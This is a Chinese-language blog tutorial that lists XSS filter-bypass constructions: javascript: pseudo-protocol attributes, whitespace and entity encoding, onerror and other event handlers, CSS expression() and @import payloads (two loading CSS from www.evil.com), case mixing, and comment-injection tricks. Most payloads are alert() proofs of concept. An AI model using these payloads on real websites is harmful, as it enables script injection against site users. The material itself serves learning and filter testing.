zoukankan      html  css  js  c++  java
  • XSS 跨站脚本攻击之构造剖析(一)

    1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击

    (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码;

    (2)绕过XSS Filter的测试:

    **利用<>标记注射Html/javaScript ,因此XSS Filter首先要过滤和转义的就是“<>”或“<script>”等字符

    **利用标签属性值来执行XSS,很多HTML标签都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的javascript代码

        例如:<img src="javascript:alert('XSS');"> 

        不是所有的浏览器都支持伪协议的

        并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本:

        href=     ;lowsrc=    ;bgsound=   ;backgroud=   ;value=   ;action=     ;dynsrc=   ;

    **空格回车Tab,如果XSS Filter仅仅把敏感的输入字符列入黑名单,用户可以利用空格,回车和Tab键绕过限制

       例如:<img src="javas   cript:alert('/XSS/')" width=100> 注意:Javas和cript之间的间隔不是由空格键添加的,而是由Tab键添加的

       使用关键字拆分的技巧,用户可以突破过滤器的限制,不局限在【Tab】键,还可以使用【回车】和【空格】之类的其他键位符

       原因在于:在javascript引擎中,空格除了在引号中分隔单词和强制结束语句之外,额外的空白无论以何种方式添加都无所谓

       例如:<img src="

                cript:

                alert(/XSS/)" width=100>

    **对标签属性值转码:用户可以通过编码处理来绕过对普通HTML标记的属性值的进行的过滤,因为HTML中属性值本身支持ASCII码的形式

        根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('XSS');">  替换为  <img src="javascrip&#116&#58alert(/XSS/);">

        t的ASSCII码值为116,用“&#116”表示;  :则表示为&#58

        还可以把&#01,&#02等字符插入到javascript或Vbscript的头部,另外Tab键的ASCII码值是:&#9,换行符的码值是:&#10,回车符的码值是:&#13

    **产生自己的事件:javascript和HTML之间的交互是通过事件实现的,事件就是用户或浏览器自身执行的某个动作,比如click,mouseover,load等。响应事件的函数就叫做事                             件处理函数(事件监听器)

                              事件被划分为3种不同的类型:

                               ①用户接口(鼠标,键盘)

               ②逻辑(处理的结果)

               ③ 变化(对文档进行修改)

                               例如:<img src="#" onerror=alert(/XSS/)>  onerror是IMG标记的一个事件,只要页面发生错误,该事件立即被激活

    **可以用来测试事件型的跨站脚本,有大量的事件可以运用:

    onResume,onReverse,onRowDelete,onRowInserted,onSeek,onSynchRestored,onTimeError ,onTrackChange,onURLFlip ,onRepeat,

    onMediaError,  onPause ,onProgress ,oncontrolselect ,onOutOfSync  , onafterprint  ,onbeforeprint  ,ondataavailable  ,ondatasetchanged

    ondatasetcomplete  , onerrorupdate  ,onrowenter  ,onrowexit  ,onrowsdelete  ,onrowsinserted ,onselectionchange  ,onbounce  ,onfinish

    onstop ,onresizeend

    **利用CSS跨站剖析:

    ①例如:<div style="backgroud-image:url(javascript:alert('XSS'))">

    ②IE5及其之后的版本都支持在CSS中使用expression,使用expression同样可以触发XSS漏洞

    例如:<div style=" expression (alert('XSS'));"> 

             或<style>body{background-image:expression(alert("XSS"));}</style>

    ③此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件中甚至从不同的目标机器上进行引用

    例如:<link rel="stylesheet" href="http://www.evil.com/attack.css">

    ④在网页中引用外部CSS还可以利用@import将其导入

    例如:<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

    xss.css的内容是:

    .showCSS{

    event:expression(

    onload = function(){

    alert('XSS');})

    }

    ⑤此外,@import还有一个特性,就是能直接执行javaScript代码,

    例如:<style> @import 'javascript :alert("XSS")';  </style>

    **扰乱过滤规则:

    ①转换大小写之后的XSS:<IMG SRC="javascript:alert(0);">

    ②大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

    ③不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

    ④不使用引号的XSS:<img src=javascript:alert(0);>

    ⑤不使用空格,而用/代替:<img/src="javascript:alert('XSS');">

    ⑥当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

    <xss STYLE="xss: exprEssion(alert('XSS'))">

    <div style="{left : e  x  p  r  e   s  s  i   o   n  (alert('XSS')  )  }">

    **样式表中的/**/会被浏览器忽略,因此可以结合使用注释字符干扰和欺骗过滤器:

    <XSS  STYLE="xss: expr/*XSS*/ession(alert('XSS') ) ">

    <div style="wid/**/th:expre/*XSS*/ssion(alert('XSS') );">

    **除了/**/之外,样式表中的和结束符也是被浏览器忽略的:

    @import' javasc ipt:alert("XSS")';

    @im0p00o0000000r00000t"url";

    **还可以将CSS中的关键字进行转码处理,如将e转换为65,包括改变编码中的0的数量:

    <p  style="xss: 65xpression(alert(/XSS/))">

    **利用浏览器解析HTML注释存在的问题来执行JavaScript:

    例如:

    ①<!--<img src="--><img  src=x  onerror=alert(1)//>">

    ②<comment><img src="</comment><img  src=x  onerror=alter(1) //">

    ③<style><img  src="</style><img src=x  onerror=alert(1)//">

  • 相关阅读:
    Mybatis-plugin插件的使用
    SpringBoot整合mybatis-pagehelper实现分页
    springboot打war包
    keepalived1.4.0安装启动卸载
    六、nginx 搭建高可用集群
    五、nginx的动静分离
    四、nginx的负载均衡
    linux中mysql忘记root密码如何登陆
    十分钟到你了解OpenStack--nova组件
    docker 中 add 和 copy 的区别
  • 原文地址:https://www.cnblogs.com/hqutcy/p/5748256.html
Copyright © 2011-2022 走看看